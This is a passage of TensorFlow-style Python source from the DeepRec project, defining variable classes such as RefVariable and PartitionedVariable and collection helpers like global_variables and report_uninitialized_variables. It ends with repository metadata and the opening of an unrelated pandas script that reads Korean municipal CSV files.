return gen_state_ops.scatter_nd_add(\n self._variable, indices, updates, use_locking=True, name=name)\n\n def scatter_nd_update(self, indices, updates, name=None):\n \"\"\"Applies sparse assignment to individual values or slices in a Variable.\n\n `ref` is a `Tensor` with rank `P` and `indices` is a `Tensor` of rank `Q`.\n\n `indices` must be integer tensor, containing indices into `ref`.\n It must be shape `[d_0, ..., d_{Q-2}, K]` where `0 < K <= P`.\n\n The innermost dimension of `indices` (with length `K`) corresponds to\n indices into elements (if `K = P`) or slices (if `K < P`) along the `K`th\n dimension of `ref`.\n\n `updates` is `Tensor` of rank `Q-1+P-K` with shape:\n\n ```\n [d_0, ..., d_{Q-2}, ref.shape[K], ..., ref.shape[P-1]].\n ```\n\n For example, say we want to add 4 scattered elements to a rank-1 tensor to\n 8 elements. In Python, that update would look like this:\n\n ```python\n ref = tf.Variable([1, 2, 3, 4, 5, 6, 7, 8])\n indices = tf.constant([[4], [3], [1] ,[7]])\n updates = tf.constant([9, 10, 11, 12])\n op = ref.scatter_nd_update(indices, updates)\n with tf.compat.v1.Session() as sess:\n print sess.run(op)\n ```\n\n The resulting update to ref would look like this:\n\n [1, 11, 3, 10, 9, 6, 7, 12]\n\n See `tf.scatter_nd` for more details about how to make updates to\n slices.\n\n Args:\n indices: The indices to be used in the operation.\n updates: The values to be used in the operation.\n name: the name of the operation.\n\n Returns:\n A `Tensor` that will hold the new value of this variable after\n the scattered assignment has completed.\n \"\"\"\n return gen_state_ops.scatter_nd_update(\n self._variable, indices, updates, use_locking=True, name=name)\n\n def _strided_slice_assign(self, begin, end, strides, value, name, begin_mask,\n end_mask, ellipsis_mask, new_axis_mask,\n shrink_axis_mask):\n return gen_array_ops.strided_slice_assign(\n ref=self._ref(),\n begin=begin,\n end=end,\n strides=strides,\n value=value,\n name=name,\n begin_mask=begin_mask,\n end_mask=end_mask,\n ellipsis_mask=ellipsis_mask,\n new_axis_mask=new_axis_mask,\n shrink_axis_mask=shrink_axis_mask)\n\n @deprecated(None, \"Prefer Dataset.range instead.\")\n def count_up_to(self, limit):\n \"\"\"Increments this variable until it reaches `limit`.\n\n When that Op is run it tries to increment the variable by `1`. If\n incrementing the variable would bring it above `limit` then the Op raises\n the exception `OutOfRangeError`.\n\n If no error is raised, the Op outputs the value of the variable before\n the increment.\n\n This is essentially a shortcut for `count_up_to(self, limit)`.\n\n Args:\n limit: value at which incrementing the variable raises an error.\n\n Returns:\n A `Tensor` that will hold the variable value before the increment. If no\n other Op modifies this variable, the values produced will all be\n distinct.\n \"\"\"\n return state_ops.count_up_to(self._variable, limit=limit)\n\n # Conversion to tensor.\n @staticmethod\n def _TensorConversionFunction(v, dtype=None, name=None, as_ref=False): # pylint: disable=invalid-name\n \"\"\"Utility function for converting a Variable to a Tensor.\"\"\"\n _ = name\n if dtype and not dtype.is_compatible_with(v.dtype):\n raise ValueError(\n \"Incompatible type conversion requested to type '%s' for variable \"\n \"of type '%s'\" % (dtype.name, v.dtype.name))\n if as_ref:\n return v._ref() # pylint: disable=protected-access\n else:\n return v.value()\n\n # NOTE(mrry): This enables the Variable's overloaded \"right\" binary\n # operators to run when the left operand is an ndarray, because it\n # accords the Variable class higher priority than an ndarray, or a\n # numpy matrix.\n # TODO(mrry): Convert this to using numpy's __numpy_ufunc__\n # mechanism, which allows more control over how Variables interact\n # with ndarrays.\n __array_priority__ = 100\n\n @property\n def name(self):\n \"\"\"The name of this variable.\"\"\"\n return self._variable.name\n\n @property\n def initializer(self):\n \"\"\"The initializer operation for this variable.\"\"\"\n return self._initializer_op\n\n @property\n def device(self):\n \"\"\"The device of this variable.\"\"\"\n return self._variable.device\n\n @property\n def dtype(self):\n \"\"\"The `DType` of this variable.\"\"\"\n return self._variable.dtype\n\n @property\n def op(self):\n \"\"\"The `Operation` of this variable.\"\"\"\n return self._variable.op\n\n @property\n def graph(self):\n \"\"\"The `Graph` of this variable.\"\"\"\n return self._variable.graph\n\n @property\n def _distribute_strategy(self):\n \"\"\"The `tf.distribute.Strategy` that this variable was created under.\"\"\"\n return None # Ref variables are never created inside a strategy.\n\n @property\n def shape(self):\n \"\"\"The `TensorShape` of this variable.\n\n Returns:\n A `TensorShape`.\n \"\"\"\n return self._variable.get_shape()\n\n def to_proto(self, export_scope=None):\n \"\"\"Converts a `Variable` to a `VariableDef` protocol buffer.\n\n Args:\n export_scope: Optional `string`. Name scope to remove.\n\n Returns:\n A `VariableDef` protocol buffer, or `None` if the `Variable` is not\n in the specified name scope.\n \"\"\"\n if (export_scope is None or self._variable.name.startswith(export_scope)):\n var_def = variable_pb2.VariableDef()\n var_def.variable_name = ops.strip_name_scope(self._variable.name,\n export_scope)\n if self._initial_value is not None:\n # For backwards compatibility.\n var_def.initial_value_name = ops.strip_name_scope(\n self._initial_value.name, export_scope)\n var_def.trainable = self.trainable\n var_def.synchronization = self.synchronization.value\n var_def.aggregation = self.aggregation.value\n var_def.initializer_name = ops.strip_name_scope(self.initializer.name,\n export_scope)\n var_def.snapshot_name = ops.strip_name_scope(self._snapshot.name,\n export_scope)\n if self._save_slice_info:\n var_def.save_slice_info_def.MergeFrom(\n self._save_slice_info.to_proto(export_scope=export_scope))\n return var_def\n else:\n return None\n\n def __iadd__(self, other):\n logging.log_first_n(\n logging.WARN, \"Variable += will be deprecated. Use variable.assign_add\"\n \" if you want assignment to the variable value or 'x = x + y'\"\n \" if you want a new python Tensor object.\", 1)\n return self + other\n\n def __isub__(self, other):\n logging.log_first_n(\n logging.WARN, \"Variable -= will be deprecated. Use variable.assign_sub\"\n \" if you want assignment to the variable value or 'x = x - y'\"\n \" if you want a new python Tensor object.\", 1)\n return self - other\n\n def __imul__(self, other):\n logging.log_first_n(\n logging.WARN,\n \"Variable *= will be deprecated. Use `var.assign(var * other)`\"\n \" if you want assignment to the variable value or `x = x * y`\"\n \" if you want a new python Tensor object.\", 1)\n return self * other\n\n def __idiv__(self, other):\n logging.log_first_n(\n logging.WARN,\n \"Variable /= will be deprecated. Use `var.assign(var / other)`\"\n \" if you want assignment to the variable value or `x = x / y`\"\n \" if you want a new python Tensor object.\", 1)\n return self / other\n\n def __itruediv__(self, other):\n logging.log_first_n(\n logging.WARN,\n \"Variable /= will be deprecated. Use `var.assign(var / other)`\"\n \" if you want assignment to the variable value or `x = x / y`\"\n \" if you want a new python Tensor object.\", 1)\n return self / other\n\n def __irealdiv__(self, other):\n logging.log_first_n(\n logging.WARN,\n \"Variable /= will be deprecated. Use `var.assign(var / other)`\"\n \" if you want assignment to the variable value or `x = x / y`\"\n \" if you want a new python Tensor object.\", 1)\n return self / other\n\n def __ipow__(self, other):\n logging.log_first_n(\n logging.WARN,\n \"Variable **= will be deprecated. Use `var.assign(var ** other)`\"\n \" if you want assignment to the variable value or `x = x ** y`\"\n \" if you want a new python Tensor object.\", 1)\n return self**other\n\n\ndef _try_guard_against_uninitialized_dependencies(name, initial_value):\n \"\"\"Attempt to guard against dependencies on uninitialized variables.\n\n Replace references to variables in `initial_value` with references to the\n variable's initialized values. The initialized values are essentially\n conditional TensorFlow graphs that return a variable's value if it is\n initialized or its `initial_value` if it hasn't been initialized. This\n replacement is done on a best effort basis:\n\n - If the `initial_value` graph contains cycles, we don't do any\n replacements for that graph.\n - If the variables that `initial_value` depends on are not present in the\n `GLOBAL_VARIABLES` or `LOCAL_VARIABLES` we don't replace them.\n\n In these cases, it is up to the caller to ensure that the `initial_value`\n graph uses initialized variables or that they guard access to variables\n using their `initialized_value` method.\n\n Args:\n name: Variable name.\n initial_value: `Tensor`. The initial value.\n\n Returns:\n A `Tensor` suitable to initialize a variable.\n Raises:\n TypeError: If `initial_value` is not a `Tensor`.\n \"\"\"\n if not isinstance(initial_value, ops.Tensor):\n raise TypeError(\"initial_value needs to be a Tensor: %s\" % initial_value)\n\n # Don't modify initial_value if it contains any cyclic dependencies.\n if _has_cycle(initial_value.op, state={}):\n return initial_value\n return _safe_initial_value_from_tensor(name, initial_value, op_cache={})\n\n\n_UNKNOWN, _STARTED, _FINISHED = range(3)\n\n\ndef _has_cycle(op, state):\n \"\"\"Detect cycles in the dependencies of `initial_value`.\"\"\"\n op_state = state.get(op.name, _UNKNOWN)\n if op_state == _STARTED:\n return True\n elif op_state == _FINISHED:\n return False\n\n state[op.name] = _STARTED\n for i in itertools.chain((i.op for i in op.inputs), op.control_inputs):\n if _has_cycle(i, state):\n return True\n state[op.name] = _FINISHED\n return False\n\n\ndef _safe_initial_value_from_tensor(name, tensor, op_cache):\n \"\"\"Replace dependencies on variables with their initialized values.\n\n Args:\n name: Variable name.\n tensor: A `Tensor`. The tensor to replace.\n op_cache: A dict mapping operation names to `Operation`s. Used to memoize\n the results so as to avoid creating redundant operations.\n\n Returns:\n A `Tensor` compatible with `tensor`. Any inputs that lead to variable\n values will be replaced with a corresponding graph that uses the\n variable's initialized values. This is done on a best-effort basis. If no\n modifications need to be made then `tensor` will be returned unchanged.\n \"\"\"\n op = tensor.op\n new_op = op_cache.get(op.name)\n if new_op is None:\n new_op = _safe_initial_value_from_op(name, op, op_cache)\n op_cache[op.name] = new_op\n return new_op.outputs[tensor.value_index]\n\n\ndef _safe_initial_value_from_op(name, op, op_cache):\n \"\"\"Replace dependencies on variables with their initialized values.\n\n Args:\n name: Variable name.\n op: An `Operation`. The operation to replace.\n op_cache: A dict mapping operation names to `Operation`s. Used to memoize\n the results so as to avoid creating redundant operations.\n\n Returns:\n An `Operation` compatible with `op`. Any inputs that lead to variable\n values will be replaced with a corresponding graph that uses the\n variable's initialized values. This is done on a best-effort basis. If no\n modifications need to be made then `op` will be returned unchanged.\n \"\"\"\n op_type = op.node_def.op\n if op_type in (\"IsVariableInitialized\", \"VarIsInitializedOp\",\n \"ReadVariableOp\", \"If\"):\n return op\n\n # Attempt to find the initialized_value of any variable reference / handles.\n # TODO(b/70206927): Fix handling of ResourceVariables.\n if op_type in (\"Variable\", \"VariableV2\", \"VarHandleOp\"):\n initialized_value = _find_initialized_value_for_variable(op)\n return op if initialized_value is None else initialized_value.op\n\n # Recursively build initializer expressions for inputs.\n modified = False\n new_op_inputs = []\n for op_input in op.inputs:\n new_op_input = _safe_initial_value_from_tensor(name, op_input, op_cache)\n new_op_inputs.append(new_op_input)\n modified = modified or (new_op_input != op_input)\n\n # If at least one input was modified, replace the op.\n if modified:\n new_op_type = op_type\n if new_op_type == \"RefSwitch\":\n new_op_type = \"Switch\"\n new_op_name = op.node_def.name + \"_\" + name\n new_op_name = new_op_name.replace(\":\", \"_\")\n return op.graph.create_op(\n new_op_type,\n new_op_inputs,\n op._output_types, # pylint: disable=protected-access\n name=new_op_name,\n attrs=op.node_def.attr)\n\n return op\n\n\ndef _find_initialized_value_for_variable(variable_op):\n \"\"\"Find the initialized value for a variable op.\n\n To do so, lookup the variable op in the variables collection.\n\n Args:\n variable_op: A variable `Operation`.\n\n Returns:\n A `Tensor` representing the initialized value for the variable or `None`\n if the initialized value could not be found.\n \"\"\"\n try:\n var_names = [variable_op.node_def.name, variable_op.node_def.name + \":0\"]\n for collection_name in (ops.GraphKeys.GLOBAL_VARIABLES,\n ops.GraphKeys.LOCAL_VARIABLES):\n for var in variable_op.graph.get_collection(collection_name):\n if var.name in var_names:\n return var.initialized_value()\n except AttributeError:\n # Return None when an incomplete user-defined variable type was put in\n # the collection.\n return None\n return None\n\n\nclass PartitionedVariable(object):\n \"\"\"A container for partitioned `Variable` objects.\n\n @compatibility(eager) `tf.PartitionedVariable` is not compatible with\n eager execution. Use `tf.Variable` instead which is compatible\n with both eager execution and graph construction. See [the\n TensorFlow Eager Execution\n guide](https://github.com/tensorflow/tensorflow/tree/master/tensorflow/contrib/eager/python/g3doc/guide.md#variables-and-optimizers)\n for details on how variables work in eager execution.\n @end_compatibility\n \"\"\"\n\n def __init__(self, name, shape, dtype, variable_list, partitions):\n \"\"\"Creates a new partitioned variable wrapper.\n\n Variables passed via the variable_list must contain a save_slice_info\n field. Concatenation and iteration is in lexicographic order according\n to the var_offset property of the save_slice_info.\n\n Args:\n name: String. Overall name of the variables.\n shape: List of integers. Overall shape of the variables.\n dtype: Type of the variables.\n variable_list: List of `Variable` that comprise this partitioned variable.\n partitions: List of integers. Number of partitions for each dimension.\n\n Raises:\n TypeError: If `variable_list` is not a list of `Variable` objects, or\n `partitions` is not a list.\n ValueError: If `variable_list` is empty, or the `Variable` shape\n information does not match `shape`, or `partitions` has invalid values.\n \"\"\"\n if not isinstance(variable_list, (list, tuple)):\n raise TypeError(\"variable_list is not a list or tuple: %s\" %\n variable_list)\n if not isinstance(partitions, (list, tuple)):\n raise TypeError(\"partitions is not a list or tuple: %s\" % partitions)\n if not all(p >= 1 for p in partitions):\n raise ValueError(\"partition values must be positive: %s\" % partitions)\n if not variable_list:\n raise ValueError(\"variable_list may not be empty\")\n # pylint: disable=protected-access\n for v in variable_list:\n # Sort the variable_list lexicographically according to var offset value.\n if not all(v._get_save_slice_info() is not None for v in variable_list):\n raise ValueError(\n \"All variables must have a save_slice_info available: %s\" %\n [v.name for v in variable_list])\n if len(shape) != len(partitions):\n raise ValueError(\"len(shape) != len(partitions): %s vs. %s\" %\n (shape, partitions))\n if v._get_save_slice_info().full_shape != shape:\n raise ValueError(\"All variables' full shapes must match shape: %s; \"\n \"but full shapes were: %s\" %\n (shape, str([v._get_save_slice_info().full_shape])))\n self._variable_list = sorted(\n variable_list, key=lambda v: v._get_save_slice_info().var_offset)\n # pylint: enable=protected-access\n\n self._name = name\n self._shape = shape\n self._dtype = dtype\n self._partitions = partitions\n self._as_tensor = None\n\n def __iter__(self):\n \"\"\"Return an iterable for accessing the underlying partition Variables.\"\"\"\n return iter(self._variable_list)\n\n def __len__(self):\n num_partition_axes = len(self._partition_axes())\n if num_partition_axes > 1:\n raise ValueError(\"Cannot get a length for %d > 1 partition axes\" %\n num_partition_axes)\n return len(self._variable_list)\n\n def _partition_axes(self):\n if all(p == 1 for p in self._partitions):\n return [0]\n else:\n return [i for i, p in enumerate(self._partitions) if p > 1]\n\n def _concat(self):\n \"\"\"Returns the overall concatenated value as a `Tensor`.\n\n This is different from using the partitioned variable directly as a tensor\n (through tensor conversion and `as_tensor`) in that it creates a new set of\n operations that keeps the control dependencies from its scope.\n\n Returns:\n `Tensor` containing the concatenated value.\n \"\"\"\n if len(self._variable_list) == 1:\n with ops.name_scope(None):\n return array_ops.identity(self._variable_list[0], name=self._name)\n\n partition_axes = self._partition_axes()\n\n if len(partition_axes) > 1:\n raise NotImplementedError(\n \"Cannot concatenate along more than one dimension: %s. \"\n \"Multi-axis partition concat is not supported\" % str(partition_axes))\n partition_ix = partition_axes[0]\n\n with ops.name_scope(self._name + \"/ConcatPartitions/\"):\n concatenated = array_ops.concat(self._variable_list, partition_ix)\n\n with ops.name_scope(None):\n return array_ops.identity(concatenated, name=self._name)\n\n def as_tensor(self):\n \"\"\"Returns the overall concatenated value as a `Tensor`.\n\n The returned tensor will not inherit the control dependencies from the scope\n where the value is used, which is similar to getting the value of\n `Variable`.\n\n Returns:\n `Tensor` containing the concatenated value.\n \"\"\"\n with ops.control_dependencies(None):\n return self._concat()\n\n @staticmethod\n def _TensorConversionFunction(v, dtype=None, name=None, as_ref=False):\n # pylint: disable=invalid-name\n _ = name\n if dtype is not None and not dtype.is_compatible_with(v.dtype):\n raise ValueError(\n \"Incompatible type conversion requested to type '%s' for variable \"\n \"of type '%s'\" % (dtype.name, v.dtype.name))\n if as_ref:\n raise NotImplementedError(\n \"PartitionedVariable doesn't support being used as a reference.\")\n else:\n return v.as_tensor()\n\n @property\n def name(self):\n return self._name\n\n @property\n def dtype(self):\n return self._dtype\n\n @property\n def shape(self):\n return self.get_shape()\n\n @property\n def _distribute_strategy(self):\n \"\"\"The `tf.distribute.Strategy` that this variable was created under.\"\"\"\n # NOTE(yuefengz): Today, no partitioned variables in a distribute strategy.\n return None\n\n def get_shape(self):\n return self._shape\n\n def _get_variable_list(self):\n return self._variable_list\n\n def _get_partitions(self):\n return self._partitions\n\n def _apply_assign_fn(self, assign_fn, value):\n partition_axes = self._partition_axes()\n if len(partition_axes) > 1:\n raise NotImplementedError(\n \"Cannot do assign action along more than one dimension: %s. \"\n \"Multi-axis partition assign action is not supported \" %\n str(partition_axes))\n if isinstance(value, list):\n assert len(value) == len(self._variable_list)\n value_list = value\n elif isinstance(value, PartitionedVariable):\n value_list = [var_part for var_part in value]\n else:\n partition_ix = partition_axes[0]\n size_splits_list = [\n tensor_shape.dimension_value(var.shape[partition_ix])\n for var in self._variable_list\n ]\n value_list = array_ops.split(value, size_splits_list, axis=partition_ix)\n\n op_list = [\n assign_fn(var, value_list[idx])\n for idx, var in enumerate(self._variable_list)\n ]\n return op_list\n\n def assign(self, value, use_locking=False, name=None, read_value=True):\n assign_fn = lambda var, r_value: var.assign(\n r_value, use_locking=use_locking, name=name, read_value=read_value)\n assign_list = self._apply_assign_fn(assign_fn, value)\n if read_value:\n return assign_list\n return [assign.op for assign in assign_list]\n\n def assign_add(self, value, use_locking=False, name=None, read_value=True):\n assign_fn = lambda var, r_value: var.assign_add(\n r_value, use_locking=use_locking, name=name, read_value=read_value)\n assign_list = self._apply_assign_fn(assign_fn, value)\n if read_value:\n return assign_list\n return [assign.op for assign in assign_list]\n\n def assign_sub(self, value, use_locking=False, name=None, read_value=True):\n assign_fn = lambda var, r_value: var.assign_sub(\n r_value, use_locking=use_locking, name=name, read_value=read_value)\n assign_list = self._apply_assign_fn(assign_fn, value)\n if read_value:\n return assign_list\n return [assign.op for assign in assign_list]\n\n def export(self):\n full_keys = []\n full_values = []\n full_versions = []\n full_freqs = []\n for v in self._variable_list:\n if not isinstance(v, kv_variable_ops.EmbeddingVariable):\n raise Exception(\"The export function does not support variables of type other than ev variable\")\n keys, values, versions, freqs = v.export()\n full_keys.append(keys)\n full_values.append(values)\n full_versions.append(versions)\n full_freqs.append(freqs)\n return array_ops.concat(full_keys, 0), array_ops.concat(full_values, 0), array_ops.concat(full_versions, 0), array_ops.concat(full_freqs, 0)\n\n\n# Register a conversion function which reads the value of the variable,\n# allowing instances of the class to be used as tensors.\nops.register_tensor_conversion_function(RefVariable,\n RefVariable._TensorConversionFunction) # pylint: disable=protected-access\nops.register_dense_tensor_like_type(RefVariable)\n\n\n@tf_export(v1=[\"global_variables\"])\ndef global_variables(scope=None):\n \"\"\"Returns global variables.\n\n Global variables are variables that are shared across machines in a\n distributed environment. The `Variable()` constructor or `get_variable()`\n automatically adds new variables to the graph collection\n `GraphKeys.GLOBAL_VARIABLES`.\n This convenience function returns the contents of that collection.\n\n An alternative to global variables are local variables. See\n `tf.compat.v1.local_variables`\n\n Args:\n scope: (Optional.) A string. If supplied, the resulting list is filtered to\n include only items whose `name` attribute matches `scope` using\n `re.match`. Items without a `name` attribute are never returned if a scope\n is supplied. The choice of `re.match` means that a `scope` without special\n tokens filters by prefix.\n\n Returns:\n A list of `Variable` objects.\n \"\"\"\n return ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES, scope)\n\n\n@tf_export(v1=[\"all_variables\"])\n@deprecated(\"2017-03-02\", \"Please use tf.global_variables instead.\")\ndef all_variables():\n \"\"\"Use `tf.compat.v1.global_variables` instead.\"\"\"\n return global_variables()\n\n\ndef _all_saveable_objects(scope=None):\n \"\"\"Returns all variables and `SaveableObject`s that must be checkpointed.\n\n Args:\n scope: (Optional.) A string. If supplied, the resulting list is filtered to\n include only items whose `name` attribute matches `scope` using\n `re.match`. Items without a `name` attribute are never returned if a scope\n is supplied. The choice of `re.match` means that a `scope` without special\n tokens filters by prefix.\n\n Returns:\n A list of `Variable` and `SaveableObject` to be checkpointed\n \"\"\"\n # TODO(andreasst): make this function public once things are settled.\n return (ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES, scope) +\n ops.get_collection(ops.GraphKeys.SAVEABLE_OBJECTS, scope))\n\n\n@tf_export(v1=[\"local_variables\"])\ndef local_variables(scope=None):\n \"\"\"Returns local variables.\n\n Local variables - per process variables, usually not saved/restored to\n checkpoint and used for temporary or intermediate values.\n For example, they can be used as counters for metrics computation or\n number of epochs this machine has read data.\n The `tf.contrib.framework.local_variable()` function automatically adds the\n new variable to `GraphKeys.LOCAL_VARIABLES`.\n This convenience function returns the contents of that collection.\n\n An alternative to local variables are global variables. See\n `tf.compat.v1.global_variables`\n\n Args:\n scope: (Optional.) A string. If supplied, the resulting list is filtered to\n include only items whose `name` attribute matches `scope` using\n `re.match`. Items without a `name` attribute are never returned if a scope\n is supplied. The choice of `re.match` means that a `scope` without special\n tokens filters by prefix.\n\n Returns:\n A list of local `Variable` objects.\n \"\"\"\n return ops.get_collection(ops.GraphKeys.LOCAL_VARIABLES, scope)\n\n\n@tf_export(v1=[\"model_variables\"])\ndef model_variables(scope=None):\n \"\"\"Returns all variables in the MODEL_VARIABLES collection.\n\n Args:\n scope: (Optional.) A string. If supplied, the resulting list is filtered to\n include only items whose `name` attribute matches `scope` using\n `re.match`. Items without a `name` attribute are never returned if a scope\n is supplied. The choice of `re.match` means that a `scope` without special\n tokens filters by prefix.\n\n Returns:\n A list of local Variable objects.\n \"\"\"\n return ops.get_collection(ops.GraphKeys.MODEL_VARIABLES, scope)\n\n\n@tf_export(v1=[\"trainable_variables\"])\ndef trainable_variables(scope=None):\n \"\"\"Returns all variables created with `trainable=True`.\n\n When passed `trainable=True`, the `Variable()` constructor automatically\n adds new variables to the graph collection\n `GraphKeys.TRAINABLE_VARIABLES`. This convenience function returns the\n contents of that collection.\n\n Args:\n scope: (Optional.) A string. If supplied, the resulting list is filtered to\n include only items whose `name` attribute matches `scope` using\n `re.match`. Items without a `name` attribute are never returned if a scope\n is supplied. The choice of `re.match` means that a `scope` without special\n tokens filters by prefix.\n\n Returns:\n A list of Variable objects.\n \"\"\"\n return ops.get_collection(ops.GraphKeys.TRAINABLE_VARIABLES, scope)\n\n\n@tf_export(v1=[\"moving_average_variables\"])\ndef moving_average_variables(scope=None):\n \"\"\"Returns all variables that maintain their moving averages.\n\n If an `ExponentialMovingAverage` object is created and the `apply()`\n method is called on a list of variables, these variables will\n be added to the `GraphKeys.MOVING_AVERAGE_VARIABLES` collection.\n This convenience function returns the contents of that collection.\n\n Args:\n scope: (Optional.) A string. If supplied, the resulting list is filtered to\n include only items whose `name` attribute matches `scope` using\n `re.match`. Items without a `name` attribute are never returned if a scope\n is supplied. The choice of `re.match` means that a `scope` without special\n tokens filters by prefix.\n\n Returns:\n A list of Variable objects.\n \"\"\"\n return ops.get_collection(ops.GraphKeys.MOVING_AVERAGE_VARIABLES, scope)\n\n\n@tf_export(v1=[\"initializers.variables\", \"variables_initializer\"])\ndef variables_initializer(var_list, name=\"init\"):\n \"\"\"Returns an Op that initializes a list of variables.\n\n After you launch the graph in a session, you can run the returned Op to\n initialize all the variables in `var_list`. This Op runs all the\n initializers of the variables in `var_list` in parallel.\n\n Calling `initialize_variables()` is equivalent to passing the list of\n initializers to `Group()`.\n\n If `var_list` is empty, however, the function still returns an Op that can\n be run. That Op just has no effect.\n\n Args:\n var_list: List of `Variable` objects to initialize.\n name: Optional name for the returned operation.\n\n Returns:\n An Op that run the initializers of all the specified variables.\n \"\"\"\n if var_list and not context.executing_eagerly():\n return control_flow_ops.group(*[v.initializer for v in var_list], name=name)\n return control_flow_ops.no_op(name=name)\n\n\n@tf_export(v1=[\"initialize_variables\"])\n@tf_should_use.should_use_result\n@deprecated(\"2017-03-02\", \"Use `tf.variables_initializer` instead.\")\ndef initialize_variables(var_list, name=\"init\"):\n \"\"\"See `tf.compat.v1.variables_initializer`.\"\"\"\n return variables_initializer(var_list, name=name)\n\n\n@tf_export(v1=[\"initializers.global_variables\", \"global_variables_initializer\"])\ndef global_variables_initializer():\n \"\"\"Returns an Op that initializes global variables.\n\n This is just a shortcut for `variables_initializer(global_variables())`\n\n Returns:\n An Op that initializes global variables in the graph.\n \"\"\"\n if context.executing_eagerly():\n return control_flow_ops.no_op(name=\"global_variables_initializer\")\n return variables_initializer(global_variables())\n\n\n@tf_export(v1=[\"initialize_all_variables\"])\n@tf_should_use.should_use_result\n@deprecated(\"2017-03-02\", \"Use `tf.global_variables_initializer` instead.\")\ndef initialize_all_variables():\n \"\"\"See `tf.compat.v1.global_variables_initializer`.\"\"\"\n return global_variables_initializer()\n\n\n@tf_export(v1=[\"initializers.local_variables\", \"local_variables_initializer\"])\ndef local_variables_initializer():\n \"\"\"Returns an Op that initializes all local variables.\n\n This is just a shortcut for `variables_initializer(local_variables())`\n\n Returns:\n An Op that initializes all local variables in the graph.\n \"\"\"\n if context.executing_eagerly():\n return control_flow_ops.no_op(name=\"local_variables_initializer\")\n return variables_initializer(local_variables())\n\n\n@tf_export(v1=[\"initialize_local_variables\"])\n@tf_should_use.should_use_result\n@deprecated(\"2017-03-02\", \"Use `tf.local_variables_initializer` instead.\")\ndef initialize_local_variables():\n \"\"\"See `tf.compat.v1.local_variables_initializer`.\"\"\"\n return local_variables_initializer()\n\n\n@tf_export(v1=[\"is_variable_initialized\"])\n@tf_should_use.should_use_result\ndef is_variable_initialized(variable):\n \"\"\"Tests if a variable has been initialized.\n\n Args:\n variable: A `Variable`.\n\n Returns:\n Returns a scalar boolean Tensor, `True` if the variable has been\n initialized, `False` otherwise.\n \"\"\"\n return state_ops.is_variable_initialized(variable)\n\n\n@tf_export(v1=[\"assert_variables_initialized\"])\n@tf_should_use.should_use_result\ndef assert_variables_initialized(var_list=None):\n \"\"\"Returns an Op to check if variables are initialized.\n\n NOTE: This function is obsolete and will be removed in 6 months. Please\n change your implementation to use `report_uninitialized_variables()`.\n\n When run, the returned Op will raise the exception `FailedPreconditionError`\n if any of the variables has not yet been initialized.\n\n Note: This function is implemented by trying to fetch the values of the\n variables. If one of the variables is not initialized a message may be\n logged by the C++ runtime. This is expected.\n\n Args:\n var_list: List of `Variable` objects to check. Defaults to the value of\n `global_variables().`\n\n Returns:\n An Op, or None if there are no variables.\n \"\"\"\n if var_list is None:\n var_list = global_variables() + local_variables()\n # Backwards compatibility for old-style variables. TODO(touts): remove.\n if not var_list:\n var_list = []\n for op in ops.get_default_graph().get_operations():\n if op.type in [\"Variable\", \"VariableV2\", \"AutoReloadVariable\"]:\n var_list.append(op.outputs[0])\n if not var_list:\n return None\n else:\n ranks = []\n for var in var_list:\n with ops.colocate_with(var.op):\n ranks.append(array_ops.rank_internal(var, optimize=False))\n if len(ranks) == 1:\n return ranks[0]\n else:\n return array_ops.stack(ranks)\n\n\n@tf_export(v1=[\"report_uninitialized_variables\"])\n@tf_should_use.should_use_result\ndef report_uninitialized_variables(var_list=None,\n name=\"report_uninitialized_variables\"):\n \"\"\"Adds ops to list the names of uninitialized variables.\n\n When run, it returns a 1-D tensor containing the names of uninitialized\n variables if there are any, or an empty array if there are none.\n\n Args:\n var_list: List of `Variable` objects to check. Defaults to the value of\n `global_variables() + local_variables()`\n name: Optional name of the `Operation`.\n\n Returns:\n A 1-D tensor containing names of the uninitialized variables, or an empty\n 1-D tensor if there are no variables or no uninitialized variables.\n \"\"\"\n if var_list is None:\n var_list = global_variables() + local_variables()\n # Backwards compatibility for old-style variables. TODO(touts): remove.\n if not var_list:\n var_list = []\n for op in ops.get_default_graph().get_operations():\n if op.type in [\"Variable\", \"VariableV2\", \"AutoReloadVariable\"]:\n var_list.append(op.outputs[0])\n with ops.name_scope(name):\n # Run all operations on CPU\n if var_list:\n init_vars = [state_ops.is_variable_initialized(v) for v in var_list]\n local_device = os.environ.get(\n \"TF_DEVICE_FOR_UNINITIALIZED_VARIABLE_REPORTING\", \"/cpu:0\")\n with ops.device(local_device):\n if not var_list:\n # Return an empty tensor so we only need to check for returned tensor\n # size being 0 as an indication of model ready.\n return array_ops.constant([], dtype=dtypes.string)\n else:\n # Get a 1-D boolean tensor listing whether each variable is initialized.\n variables_mask = math_ops.logical_not(array_ops.stack(init_vars))\n # Get a 1-D string tensor containing all the variable names.\n variable_names_tensor = array_ops.constant(\n [s.op.name for s in var_list])\n # Return a 1-D tensor containing all the names of\n # uninitialized variables.\n return array_ops.boolean_mask(variable_names_tensor, variables_mask)\n\n\nops.register_tensor_conversion_function(\n PartitionedVariable, PartitionedVariable._TensorConversionFunction) # pylint: disable=protected-access\n\n\nclass AbstractVariableMetaclass(VariableMetaclass, abc.ABCMeta):\n \"\"\"Metaclass combining `VariableMetaclass` and `abc.ABCMeta`.\"\"\"\n pass\n\n\n@six.add_metaclass(AbstractVariableMetaclass)\nclass AbstractVariable(Variable):\n \"\"\"`Variable`, but abstract.\"\"\"\n pass\n","repo_name":"DeepRec-AI/DeepRec","sub_path":"tensorflow/python/ops/variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":137317,"program_lang":"python","lang":"en","doc_type":"code","stars":895,"dataset":"github-code","pt":"31"} +{"seq_id":"31016279107","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ncsvArray = ['경기도 성남시_주정차 위반 단속 위치 현황_20220927.csv',\n '교통단속카메라.csv',\n '경기도 성남시_공영주차장 월별 입출차 현황_20221122.csv',\n '경기도 성남시_성남시 전통시장_발달상권_골목상권 기본상권정보 현황_20211201.csv',\n '경기도 성남시_성남시 전통시장_발달상권_골목상권 업종별 시장규모 현황_20211201.csv',\n '경기도 성남시_성남시 전통시장_발달상권_골목상권별 이용고객 소비비중 현황_20211201.csv',\n '경기도 성남시_대규모 점포시장현황_20220531.csv',\n ]\npd.set_option('display.max_columns', None)\n\ndef statistical_description(df):\n print('Features types : \\n', df.dtypes)\n print('Dataset describe : \\n', df.describe(include='all'))\n print('Dataset head : \\n', df.head())\n for col in df.columns:\n if df[col].dtype == 'object': # 문자열 데이터에 대해서만 처리\n unique_values = df[col].unique()\n value_counts = df[col].value_counts()\n # print(f\"[{col}] - Unique 